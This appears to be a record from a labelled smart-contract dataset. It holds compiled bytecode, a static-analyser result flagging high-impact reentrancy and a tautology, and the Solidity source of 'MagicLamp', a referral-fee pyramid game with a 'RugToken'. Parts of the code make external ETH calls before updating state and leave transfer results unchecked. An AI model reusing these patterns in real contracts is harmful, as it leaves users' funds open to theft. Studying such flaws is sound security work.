89612c7490919063ffffffff16565b90506000612c5b82612c4d85876129b690919063ffffffff16565b6129b690919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612c875760009050612ce9565b60008284612c95919061402c565b9050828482612ca49190613f8f565b14612ce4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cdb906140f8565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612d5182612d08565b810181811067ffffffffffffffff82111715612d7057612d6f612d19565b5b80604052505050565b6000612d83612cef565b9050612d8f8282612d48565b919050565b600067ffffffffffffffff821115612daf57612dae612d19565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612df082612dc5565b9050919050565b612e0081612de5565b8114612e0b57600080fd5b50565b600081359050612e1d81612df7565b92915050565b6000612e36612e3184612d94565b612d79565b90508083825260208201905060208402830185811115612e5957612e58612dc0565b5b835b81811015612e825780612e6e8882612e0e565b845260208401935050602081019050612e5b565b5050509392505050565b600082601f830112612ea157612ea0612d03565b5b8135612eb1848260208601612e23565b91505092915050565b600060208284031215612ed057612ecf612cf9565b5b600082013567ffffffffffffffff811115612eee57612eed612cfe565b5b612efa84828501612e8c565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612f3d578082015181840152602081019050612f22565b83811115612f4c576000848401525b50505050565b6000612f5d82612f03565b612f678185612f0e565b9350612f77818560208601612f1f565b612f8081612d08565b840191505092915050565b60006020820190508181036000830152612fa58184612f52565b905092915050565b6000819050919050565b612fc081612fad565b8114612fcb57600080fd5b50565b600081359050612fdd81612fb7565b92915050565b60008060408385031215612ffa57612ff9612cf9565b5b600061300885828601612e0e565b925050602061301985828601612fce565b9150509250929050565b60008115159050919050565b61303881613023565b82525050565b6000602082019050613053600083018461302f565b92915050565b6000819050919050565b600061307e61307961307484612dc5565b613059565b612dc5565b9050919050565b600061309082613063565b9050919050565b60006130a282613085565b9050919050565b6130b281613097565b82525050565b60006020820190506130cd60008301846130a9565b92915050565b6130dc81612fad565b82525050565b60006020820190506130f760008301846130d3565b92915050565b60008060006060848603121561311657613115612cf9565b5b600061312486828701612e0e565b935050602061313586828701612e0e565b925050604061314686828701612fce565b9150509250925092565b600060ff82169050919050565b61316681613150565b82525050565b6000602082019050613181600083018461315d565b92915050565b61319081612de5565b82525050565b60006020820190506131ab6000830184613187565b92915050565b6000602082840312156131c7576131c6612cf9565b5b60006131d584828501612e0e565b91505092915050565b6131e781613023565b81146131f257600080fd5b50565b600081359050613204816131de565b92915050565b6000602082840312156132205761321f612cf9565b5b600061322e848285016131f5565b91505092915050565b60006020828403121561324d5761324c612cf9565b5b600061325b84828501612fce565b91505092915050565b6000806000806080858703121561327e5761327d612cf9565b5b600061328c87828801612fce565b945050602061329d87828801612fce565b93505060406132ae87828801612fce565b92505060606132bf87828801612fce565b91505092959194509250565b600080fd5b60008083601f8401126132e6576132e5612d03565b5b8235905067ffffffffffffffff811115613303576133026132cb565b5b60208301915083602082028301111561331f5761331e612dc0565b5b9250929050565b60008060006040848603121561333f5761333e612cf9565b5b600084013567ffffffffffffffff81111561335d5761335c612cfe565b5b613369868287016132d0565b9350935050602061337c868287016131f5565b9150509250925092565b6000806040838503121561339d5761339c612cf9565b5b60006133ab85828601612e0e565b92505060206133bc85828601612e0e565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006133fc602083612f0e565b9150613407826133c6565b602082019050919050565b6000602082019050818103600083015261342b816133ef565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061349b82612fad565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156134ce576134cd613461565b5b600182019050919050565b7f4275792072657761726473206d757374206265206265747765656e203025206160008201527f6e64203425000000000000000000000000000000000000000000000000000000602082015250565b6000613535602583612f0e565b9150613540826134d9565b604082019050919050565b6000602082019050818103600083015261356481613528565b9050919050565b7f42757920746178206d757374206265206265747765656e20302520616e64203260008201527f3025000000000000000000000000000000000000000000000000000000000000602082015250565b60006135c7602283612f0e565b91506135d28261356b565b604082019050919050565b600060208201905081810360008301526135f6816135ba565b9050919050565b7f53656c6c2072657761726473206d757374206265206265747765656e2030252060008201527f616e642034250000000000000000000000000000000000000000000000000000602082015250565b6000613659602683612f0e565b9150613664826135fd565b604082019050919050565b600060208201905081810360008301526136888161364c565b9050919050565b7f53656c6c20746178206d757374206265206265747765656e20302520616e642060008201527f3230250000000000000000000000000000000000000000000000000000000000602082015250565b60006136eb602383612f0e565b91506136f68261368f565b604082019050919050565b6000602082019050818103600083015261371a816136de565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061377d602683612f0e565b915061378882613721565b604082019050919050565b600060208201905081810360008301526137ac81613770565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061380f602483612f0e565b915061381a826137b3565b604082019050919050565b6000602082019050818103600083015261383e81613802565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006138a1602283612f0e565b91506138ac82613845565b604082019050919050565b600060208201905081810360008301526138d081613894565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613933602583612f0e565b915061393e826138d7565b604082019050919050565b6000602082019050818103600083015261396281613926565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006139c5602383612f0e565b91506139d082613969565b604082019050919050565b600060208201905081810360008301526139f4816139b8565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613a57602983612f0e565b9150613a62826139fb565b604082019050919050565b60006020820190508181036000830152613a8681613a4a565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613ae9603f83612f0e565b9150613af482613a8d565b604082019050919050565b60006020820190508181036000830152613b1881613adc565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000613b55601c83612f0e565b9150613b6082613b1f565b602082019050919050565b60006020820190508181036000830152613b8481613b48565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613be7602383612f0e565b9150613bf282613b8b565b604082019050919050565b60006020820190508181036000830152613c1681613bda565b9050919050565b6000613c2882612fad565b9150613c3383612fad565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613c6857613c67613461565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613ccf602383612f0e565b9150613cda82613c73565b604082019050919050565b60006020820190508181036000830152613cfe81613cc2565b9050919050565b6000613d1082612fad565b9150613d1b83612fad565b925082821015613d2e57613d2d613461565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613d95602a83612f0e565b9150613da082613d39565b604082019050919050565b60006020820190508181036000830152613dc481613d88565b9050919050565b600081519050613dda81612df7565b92915050565b600060208284031215613df657613df5612cf9565b5b6000613e0484828501613dcb565b91505092915050565b6000819050919050565b6000613e32613e2d613e2884613e0d565b613059565b612fad565b9050919050565b613e4281613e17565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613e7d81612de5565b82525050565b6000613e8f8383613e74565b60208301905092915050565b6000602082019050919050565b6000613eb382613e48565b613ebd8185613e53565b9350613ec883613e64565b8060005b83811015613ef9578151613ee08882613e83565b9750613eeb83613e9b565b925050600181019050613ecc565b5085935050505092915050565b600060a082019050613f1b60008301886130d3565b613f286020830187613e39565b8181036040830152613f3a8186613ea8565b9050613f496060830185613187565b613f5660808301846130d3565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613f9a82612fad565b9150613fa583612fad565b925082613fb557613fb4613f60565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613ff6601b83612f0e565b915061400182613fc0565b602082019050919050565b6000602082019050818103600083015261402581613fe9565b9050919050565b600061403782612fad565b915061404283612fad565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561407b5761407a613461565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006140e2602183612f0e565b91506140ed82614086565b604082019050919050565b60006020820190508181036000830152614111816140d5565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a31cbb5632986025760ea30cc27a502c31cb09d7b1e3e53a4bf9c619c828efb564736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 8,262 |
0x8ea280d8ba37ac4162d42d601edc8f4668f031f2
|
// SPDX-License-Identifier: MIT
pragma solidity ^ 0.6.6;
contract MagicLamp{
address THIS = address(this);
Pyramid public PiZZa;
RugToken public Rugs;
uint public wishes = 6000;
address public CarpetRider;
uint public CarpetRiderHP;
address public GENIE;
uint public GENIE_generation;
address public DEV;// Apparition
ERC20 public Resolve;
address payable address0 = address(0);
mapping(address => address) public gateway;
mapping(address => bool) public initiated;
mapping(address => uint) public pocket;
uint blockGenieWasKilledOnByCarpetRider;//this makes it so that becoming the genie is always a race for everyone
constructor() public{
PiZZa = Pyramid(0x91683899ed812C1AC49590779cb72DA6BF7971fE);
Rugs = new RugToken();
DEV = msg.sender;
GENIE = DEV;
CarpetRider = DEV;
Resolve = PiZZa.resolveToken();
gateway[GENIE] = GENIE;
initiated[DEV] = true;
}
function weight(address addr) public view returns(uint){
return Resolve.balanceOf(addr);
}
function rugs(address addr) public view returns(uint){
return Rugs.balanceOf(addr);
}
function buy(address _gateway, uint _red, uint _green, uint _blue) public payable returns(uint bondsCreated){
address sender = msg.sender;
if( !initiated[sender] ){
if( weight(_gateway) > 0 && _gateway != address0){
gateway[sender] = _gateway;
}else{
gateway[sender] = CarpetRider;
}
initiated[sender] = true;
}
if(_red>1e18) _red = 1e18;
if(_green>1e18) _green = 1e18;
if(_blue>1e18) _blue = 1e18;
uint[] memory UINTs = new uint[](4);
UINTs[0] = msg.value * 3 / 100;
UINTs[1] = msg.value * 2 / 100;
UINTs[2] = msg.value * 1 / 100;
UINTs[3] = msg.value * 6 / 1000;
uint eth4PiZZa = msg.value - UINTs[0] - UINTs[1] - UINTs[2] - UINTs[3];
address lvl1 = gateway[sender];
if( weight(lvl1) > weight(sender) ){
pocket[ lvl1 ] += UINTs[0];
}else{
carpetRiderCashout(UINTs[0]);
emit ReffSnatch(CarpetRider, gateway[sender]);
gateway[sender] = CarpetRider;
}
address lvl2 = gateway[lvl1];
if( weight(lvl2) > weight(sender) && lvl2 != address0 ){
pocket[ lvl2 ] += UINTs[1];
}else{
carpetRiderCashout(UINTs[1]);
emit ReffSnatch(sender, gateway[lvl1]);
gateway[lvl1] = sender;
}
address lvl3 = gateway[lvl2];
if( weight(lvl3) > weight(sender) && lvl3 != address0 ){
pocket[ lvl3 ] += UINTs[2];
}else{
carpetRiderCashout(UINTs[2]);
emit ReffSnatch(sender, gateway[lvl2]);
gateway[lvl2] = sender;
}
pocket[ GENIE ] += UINTs[3];
uint createdPiZZa = PiZZa.buy{value: eth4PiZZa}(sender, _red, _green, _blue);
if(CarpetRider != sender){
uint damage = weight(sender);
if( CarpetRiderHP <= damage ){
CarpetRiderHP = weight(sender);
emit RugPulled(sender, CarpetRider, CarpetRiderHP, false);
CarpetRider = sender;
}else{
if(damage>0){
CarpetRiderHP -= damage;
emit Damaged( CarpetRider, damage, false);
}
}
}else{
if( CarpetRiderHP < weight(sender) && msg.value > 0.001 ether){
CarpetRiderHP = weight(sender);
emit Healed(sender, weight(sender));
}
}
if(wishes > 0 && msg.value > 0.01 ether){
wishes -= 1;
Rugs.mint(sender, createdPiZZa);
}
return createdPiZZa;
}
event Healed(address rider, uint HP);
event RugPulled(address winner, address loser, uint HP, bool rugMagic);
event Damaged(address CarpetRider, uint damage, bool rugMagic);
event ReffSnatch(address snatcher, address slacker);
event CarpetRiderCashout(address buyer, uint ETH);
function carpetRiderCashout(uint ETH) internal{
pocket[CarpetRider] += ETH;
emit CarpetRiderCashout(CarpetRider, ETH);
}
event Withdraw(address account, uint amount);
function withdraw() public{
address sender = msg.sender;
uint amount = pocket[sender];
if( amount>0 ){
pocket[sender] = 0;
(bool success, ) = sender.call{value:amount}("");
emit Withdraw(sender, amount);
require(success, "Transfer failed.");
}else{
revert();
}
}
event RechargeMagicLamp( address indexed addr, uint256 amountStaked );
event DamageGenie(address rider, address genie, uint damage);
event KillGenie(address rider, address genie);
function tokenFallback(address from, uint value, bytes calldata _data) external{
require( value > 0 );
if(msg.sender == address(Resolve) ){
if(wishes == 0 && blockGenieWasKilledOnByCarpetRider!=block.number ){
wishes += value / 1e16; //100 per resolve token
GENIE = from;
//takes the resolve tokens used to recharge the magic lamp and it stakes those
//only the original dev benefits from these soulecules being staked
//the address that recharged the lamp benefits as GENIE
//only every 6th generation stakes soulecules. waits for first 6
if(GENIE_generation % 6 == 0){
uint earnings = PiZZa.resolveEarnings( THIS );
if(earnings > 0){
PiZZa.withdraw(earnings);
(bool success, ) = DEV.call{value:earnings}("");
require(success, "Transfer failed.");
}
}
GENIE_generation += 1;
emit RechargeMagicLamp(from, wishes);
}else{
Rugs.karma(from, GENIE, value);
}
}else{
if( msg.sender == address(Rugs) ){
uint rugMagic = value;
if(from == CarpetRider){
if(DEV != GENIE && CarpetRider != GENIE){
rugMagic = rugMagic / 1e18;
if(rugMagic >= wishes){
//kill
if(wishes>0){
wishes = 0;
blockGenieWasKilledOnByCarpetRider = block.number;
uint soulecules = Resolve.balanceOf(THIS)/2;
if (soulecules>0) Resolve.transfer( address(PiZZa), soulecules);
Resolve.transfer( CarpetRider, soulecules );
emit KillGenie(CarpetRider, GENIE);
}else{
revert("they're already dead.");
}
}else{
//damage
wishes -= rugMagic;
emit DamageGenie(CarpetRider, GENIE, rugMagic);
}
}else{
//You can send the lamp carpets... no problem.
}
}else{
uint damage = rugMagic;
if( CarpetRiderHP <= damage ){
CarpetRiderHP = weight(from);
emit RugPulled(from, CarpetRider, CarpetRiderHP, true);
CarpetRider = from;
}else{
if(damage>0){
CarpetRiderHP -= damage;
emit Damaged( CarpetRider, damage, true );
}
}
}
}else{
revert("no want");
}
}
}
event GenieBlast(
address indexed from,
address indexed to,
uint256 amount
);
function genieBlast(address target, uint heat) external{
if(msg.sender == GENIE && DEV != GENIE && target != CarpetRider){
Rugs.rugBurn(target, heat);
emit GenieBlast(GENIE, target, heat);
}
}
}
abstract contract Pyramid{
function buy(address addr, uint _red, uint _green, uint _blue) public virtual payable returns(uint createdBonds);
function resolveToken() public view virtual returns(ERC20);
function resolveEarnings(address _owner) public view virtual returns (uint256 amount);
function withdraw(uint amount) public virtual returns(uint);
}
abstract contract ERC20{
function balanceOf(address _owner) public view virtual returns (uint256 balance);
function transfer(address _to, uint _value) public virtual returns (bool);
}
contract RugToken{
string public name = "Comfy Rugs";
string public symbol = "RUG";
uint8 constant public decimals = 18;
address public owner;
constructor() public{
owner = msg.sender;
}
modifier ownerOnly{
require(msg.sender == owner);
_;
}
event Mint(
address indexed addr,
uint256 amount
);
event Karma(
address indexed addr,
address GENIE,
uint256 amount
);
function mint(address _address, uint _value) external ownerOnly(){
balances[_address] += _value;
_totalSupply += _value;
emit Mint(_address, _value);
}
function karma(address _address,address GENIE, uint _value) external ownerOnly(){
favor[_address][GENIE] += _value;
totalFavor[GENIE] += _value;
emit Karma(_address, GENIE, _value);
}
// Standard function transfer similar to ERC20 transfer with no _data.
// Added due to backwards compatibility reasons .
function rugBurn(address _target, uint _value) public virtual{
address sender = msg.sender;
require( _value <= balances[_target] );
require( _value > 0 );
uint damage;
if( balances[_target] <= _value){
damage = balances[_target];
}else{
damage = _value;
}
balances[sender] -= damage;
balances[_target] -= damage;
_totalSupply -= damage*2;
emit RugBurn(sender, _target, damage);
}
event TakeFavor(
address indexed GENIE,
address indexed _target,
uint256 amount
);
// the epitome of "This is gonna hurt me more than it's gonna hurt you."
function takeFavor(address _target, uint _value) public virtual{
address GENIE = msg.sender;
require( _value <= favor[_target][GENIE] );
require(_value > 0);
favor[_target][GENIE] -= _value;
totalFavor[GENIE] -= _value;
emit TakeFavor(GENIE, _target, _value);
}
mapping(address => uint256) public balances;
//Resolve tokens sacrificed to this genie
mapping(address => uint256) public totalFavor;
mapping(address => mapping(address => uint256)) public favor;
uint public _totalSupply;
mapping(address => mapping(address => uint)) approvals;
event Transfer(
address indexed from,
address indexed to,
uint256 amount,
bytes data
);
event Transfer(
address indexed from,
address indexed to,
uint256 amount
);
event RugBurn(
address indexed from,
address indexed to,
uint256 amount
);
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function favorOf(address _owner, address GENIE) public view returns (uint256 _favor) {
return favor[_owner][GENIE];
}
function totalFavorOf(address GENIE) public view returns (uint256 _favor) {
return totalFavor[GENIE];
}
// Function that is called when a user or another contract wants to transfer funds.
function transfer(address _to, uint _value, bytes memory _data) public virtual returns (bool) {
if( isContract(_to) ){
return transferToContract(_to, _value, _data);
}else{
return transferToAddress(_to, _value, _data);
}
}
// Standard function transfer similar to ERC20 transfer with no _data.
// Added due to backwards compatibility reasons .
function transfer(address _to, uint _value) public virtual returns (bool) {
//standard function transfer similar to ERC20 transfer with no _data
//added due to backwards compatibility reasons
bytes memory empty;
if(isContract(_to)){
return transferToContract(_to, _value, empty);
}else{
return transferToAddress(_to, _value, empty);
}
}
//function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes memory _data) private returns (bool) {
moveTokens(msg.sender, _to, _value);
emit Transfer(msg.sender, _to, _value, _data);
emit Transfer(msg.sender, _to, _value);
return true;
}
//function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes memory _data) private returns (bool) {
moveTokens(msg.sender, _to, _value);
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, _data);
emit Transfer(msg.sender, _to, _value, _data);
emit Transfer(msg.sender, _to, _value);
return true;
}
function moveTokens(address _from, address _to, uint _amount) internal virtual{
require( _amount <= balances[_from] );
//update balances
balances[_from] -= _amount;
balances[_to] += _amount;
}
function allowance(address src, address guy) public view returns (uint) {
return approvals[src][guy];
}
function transferFrom(address src, address dst, uint amount) public returns (bool){
address sender = msg.sender;
require(approvals[src][sender] >= amount);
require(balances[src] >= amount);
approvals[src][sender] -= amount;
moveTokens(src,dst,amount);
bytes memory empty;
emit Transfer(sender, dst, amount, empty);
emit Transfer(sender, dst, amount);
return true;
}
event Approval(address indexed src, address indexed guy, uint amount);
function approve(address guy, uint amount) public returns (bool) {
address sender = msg.sender;
approvals[sender][guy] = amount;
emit Approval( sender, guy, amount );
return true;
}
function isContract(address _addr) public view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
if(length>0) {
return true;
}else {
return false;
}
}
}
abstract contract ERC223ReceivingContract{
function tokenFallback(address _from, uint _value, bytes calldata _data) external virtual;
}
|
0x6080604052600436106101095760003560e01c80634455b08511610095578063c1eb5ddd11610064578063c1eb5ddd14610381578063dffb2d4e14610396578063e4b2acfe146103c9578063f4396e2a146103de578063fef502ce1461041157610109565b80634455b085146102925780634e13c2ed146102a75780638c0449ce146102bc578063c0ee0b8a146102ef57610109565b80631db6597a116100dc5780631db6597a1461020357806335504bde1461023e57806337f50f57146102535780633ccfd60b14610268578063428109f41461027d57610109565b8063049939f31461010e57806313491bc8146101555780631622dbe414610186578063180c06e5146101d0575b600080fd5b34801561011a57600080fd5b506101416004803603602081101561013157600080fd5b50356001600160a01b0316610426565b604080519115158252519081900360200190f35b34801561016157600080fd5b5061016a61043b565b604080516001600160a01b039092168252519081900360200190f35b6101be6004803603608081101561019c57600080fd5b506001600160a01b03813516906020810135906040810135906060013561044a565b60408051918252519081900360200190f35b3480156101dc57600080fd5b5061016a600480360360208110156101f357600080fd5b50356001600160a01b0316610d2b565b34801561020f57600080fd5b5061023c6004803603604081101561022657600080fd5b506001600160a01b038135169060200135610d46565b005b34801561024a57600080fd5b5061016a610e4a565b34801561025f57600080fd5b506101be610e59565b34801561027457600080fd5b5061023c610e5f565b34801561028957600080fd5b5061016a610f68565b34801561029e57600080fd5b506101be610f77565b3480156102b357600080fd5b506101be610f7d565b3480156102c857600080fd5b506101be600480360360208110156102df57600080fd5b50356001600160a01b0316610f83565b3480156102fb57600080fd5b5061023c6004803603606081101561031257600080fd5b6001600160a01b038235169160208101359181019060608101604082013564010000000081111561034257600080fd5b82018360208201111561035457600080fd5b8035906020019184600183028401116401000000008311171561037657600080fd5b509092509050611006565b34801561038d57600080fd5b5061016a611732565b3480156103a257600080fd5b506101be600480360360208110156103b957600080fd5b50356001600160a01b0316611741565b3480156103d557600080fd5b5061016a611753565b3480156103ea57600080fd5b506101be6004803603602081101561040157600080fd5b50356001600160a01b0316611762565b34801561041d57600080fd5b5061016a6117b3565b600c6020526000908152604090205460ff1681565b6004546001600160a01b031681565b336000818152600c602052604081205490919060ff1661051657600061046f87611762565b11801561048a5750600a546001600160a01b03878116911614155b156104c2576001600160a01b038181166000908152600b6020526040902080546001600160a01b0319169188169190911790556104f2565b6004546001600160a01b038281166000908152600b6020526040902080546001600160a01b031916919092161790555b6001600160a01b0381166000908152600c60205260409020805460ff191660011790555b670de0b6b3a764000085111561053257670de0b6b3a764000094505b670de0b6b3a764000084111561054e57670de0b6b3a764000093505b670de0b6b3a764000083111561056a57670de0b6b3a764000092505b60408051600480825260a082019092526060916020820160808036833701905050905060646003340204816000815181106105a157fe5b602090810291909101015260646002340204816001815181106105c057fe5b602090810291909101015260643404816002815181106105dc57fe5b60209081029190910101526103e86006340204816003815181106105fc57fe5b60200260200101818152505060008160038151811061061757fe5b60200260200101518260028151811061062c57fe5b60200260200101518360018151811061064157fe5b60200260200101518460008151811061065657fe5b6020026020010151340303030390506000600b6000856001600160a01b03166001600160a01b0316815260200190815260200160002060009054906101000a90046001600160a01b031690506106ab84611762565b6106b482611762565b11156106f857826000815181106106c757fe5b6020908102919091018101516001600160a01b0383166000908152600d9092526040909120805490910190556107a3565b6107158360008151811061070857fe5b60200260200101516117c2565b6004546001600160a01b038581166000908152600b602090815260409182902054825194841685529092169183019190915280517f2d5011f2e318269531b37e0c93259ee0ca45e17c9940388ad8ab193696823a889281900390910190a16004546001600160a01b038581166000908152600b6020526040902080546001600160a01b031916919092161790555b6001600160a01b038082166000908152600b6020526040902054166107c785611762565b6107d082611762565b1180156107eb5750600a546001600160a01b03828116911614155b1561082e57836001815181106107fd57fe5b6020908102919091018101516001600160a01b0383166000908152600d9092526040909120805490910190556108c4565b61083e8460018151811061070857fe5b6001600160a01b038083166000908152600b6020908152604091829020548251848a16815293169083015280517f2d5011f2e318269531b37e0c93259ee0ca45e17c9940388ad8ab193696823a889281900390910190a16001600160a01b038281166000908152600b6020526040902080546001600160a01b0319169187169190911790555b6001600160a01b038082166000908152600b6020526040902054166108e886611762565b6108f182611762565b11801561090c5750600a546001600160a01b03828116911614155b1561094f578460028151811061091e57fe5b6020908102919091018101516001600160a01b0383166000908152600d9092526040909120805490910190556109e5565b61095f8560028151811061070857fe5b6001600160a01b038083166000908152600b6020908152604091829020548251848b16815293169083015280517f2d5011f2e318269531b37e0c93259ee0ca45e17c9940388ad8ab193696823a889281900390910190a16001600160a01b038281166000908152600b6020526040902080546001600160a01b0319169188169190911790555b846003815181106109f257fe5b6020026020010151600d6000600660009054906101000a90046001600160a01b03166001600160a01b03166001600160a01b03168152602001908152602001600020600082825401925050819055506000600160009054906101000a90046001600160a01b03166001600160a01b0316631622dbe486898e8e8e6040518663ffffffff1660e01b815260040180856001600160a01b03166001600160a01b031681526020018481526020018381526020018281526020019450505050506020604051808303818588803b158015610ac857600080fd5b505af1158015610adc573d6000803e3d6000fd5b50505050506040513d6020811015610af357600080fd5b50516004549091506001600160a01b03888116911614610c09576000610b1888611762565b90508060055411610ba757610b2c88611762565b6005819055600454604080516001600160a01b03808d1682529092166020830152818101929092526000606082015290517f12ae7452eaea6a75fa46cc382bd0a00c49b2f60a065554cc195026452cfaef329181900360800190a1600480546001600160a01b0319166001600160a01b038a16179055610c03565b8015610c0357600580548290039055600454604080516001600160a01b03909216825260208201839052600082820152517f6110b5a17c67546d59ebbf6dec10045b48e35afda312bd6ce7e09d4699fe4adc9181900360600190a15b50610c87565b610c1287611762565b600554108015610c28575066038d7ea4c6800034115b15610c8757610c3687611762565b6005557fb714a55d7bb8d35d8cf25c68ae8435a49a2faaffa841fcb1303d75dbf0a9056887610c6481611762565b604080516001600160a01b03909316835260208301919091528051918290030190a15b6000600354118015610c9f5750662386f26fc1000034115b15610d1c5760038054600019019055600254604080516340c10f1960e01b81526001600160a01b038a8116600483015260248201859052915191909216916340c10f1991604480830192600092919082900301818387803b158015610d0357600080fd5b505af1158015610d17573d6000803e3d6000fd5b505050505b9b9a5050505050505050505050565b600b602052600090815260409020546001600160a01b031681565b6006546001600160a01b031633148015610d7157506006546008546001600160a01b03908116911614155b8015610d8b57506004546001600160a01b03838116911614155b15610e4657600254604080516370cc9bf360e11b81526001600160a01b038581166004830152602482018590529151919092169163e19937e691604480830192600092919082900301818387803b158015610de557600080fd5b505af1158015610df9573d6000803e3d6000fd5b50506006546040805185815290516001600160a01b0380881695509290921692507f9ed141331131ae4ba3bf0a1b4f88306f16b142edd2e5ddadede92b0ac0cfb81c919081900360200190a35b5050565b6001546001600160a01b031681565b60035481565b336000818152600d60205260409020548015610109576001600160a01b0382166000818152600d60205260408082208290555190919083908381818185875af1925050503d8060008114610ecf576040519150601f19603f3d011682016040523d82523d6000602084013e610ed4565b606091505b5050604080516001600160a01b03861681526020810185905281519293507f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a9424364929081900390910190a180610f62576040805162461bcd60e51b815260206004820152601060248201526f2a3930b739b332b9103330b4b632b21760811b604482015290519081900360640190fd5b50610e46565b6009546001600160a01b031681565b60055481565b60075481565b600254604080516370a0823160e01b81526001600160a01b038481166004830152915160009392909216916370a0823191602480820192602092909190829003018186803b158015610fd457600080fd5b505afa158015610fe8573d6000803e3d6000fd5b505050506040513d6020811015610ffe57600080fd5b505192915050565b6000831161101357600080fd5b6009546001600160a01b03163314156112df57600354158015611038575043600e5414155b156112615760038054662386f26fc100008504019055600680546001600160a01b0319166001600160a01b03861617815560075406611212576001546000805460408051632428fc8d60e11b81526001600160a01b039283166004820152905192939190911691634851f91a91602480820192602092909190829003018186803b1580156110c557600080fd5b505afa1580156110d9573d6000803e3d6000fd5b505050506040513d60208110156110ef57600080fd5b5051905080156112105760015460408051632e1a7d4d60e01b81526004810184905290516001600160a01b0390921691632e1a7d4d916024808201926020929091908290030181600087803b15801561114757600080fd5b505af115801561115b573d6000803e3d6000fd5b505050506040513d602081101561117157600080fd5b50506008546040516000916001600160a01b03169083908381818185875af1925050503d80600081146111c0576040519150601f19603f3d011682016040523d82523d6000602084013e6111c5565b606091505b505090508061120e576040805162461bcd60e51b815260206004820152601060248201526f2a3930b739b332b9103330b4b632b21760811b604482015290519081900360640190fd5b505b505b60078054600101905560035460408051918252516001600160a01b038616917f9bddd43f854dbd4541f36bc4103eaee6579d2d3a16e59dbe02cc4485ff7901bb919081900360200190a26112da565b60025460065460408051630595d16d60e01b81526001600160a01b03888116600483015292831660248201526044810187905290519190921691630595d16d91606480830192600092919082900301818387803b1580156112c157600080fd5b505af11580156112d5573d6000803e3d6000fd5b505050505b61172c565b6002546001600160a01b03163314156116f55760045483906001600160a01b0386811691161415611602576006546008546001600160a01b0390811691161480159061133c57506006546004546001600160a01b03908116911614155b156115fd57670de0b6b3a76400008104905060035481106115a15760035415611557576000600381905543600e556009548154604080516370a0823160e01b81526001600160a01b039283166004820152905160029392909216916370a0823191602480820192602092909190829003018186803b1580156113bd57600080fd5b505afa1580156113d1573d6000803e3d6000fd5b505050506040513d60208110156113e757600080fd5b5051816113f057fe5b049050801561147f576009546001546040805163a9059cbb60e01b81526001600160a01b039283166004820152602481018590529051919092169163a9059cbb9160448083019260209291908290030181600087803b15801561145257600080fd5b505af1158015611466573d6000803e3d6000fd5b505050506040513d602081101561147c57600080fd5b50505b600954600480546040805163a9059cbb60e01b81526001600160a01b0392831693810193909352602483018590525192169163a9059cbb916044808201926020929091908290030181600087803b1580156114d957600080fd5b505af11580156114ed573d6000803e3d6000fd5b505050506040513d602081101561150357600080fd5b5050600454600654604080516001600160a01b03938416815292909116602083015280517f2919e1430f0b7f7575a3bd2bab1fa927e6f0567c0d9ecf3b47c28dc380c17e459281900390910190a15061159c565b6040805162461bcd60e51b81526020600482015260156024820152743a3432bc93b9329030b63932b0b23c9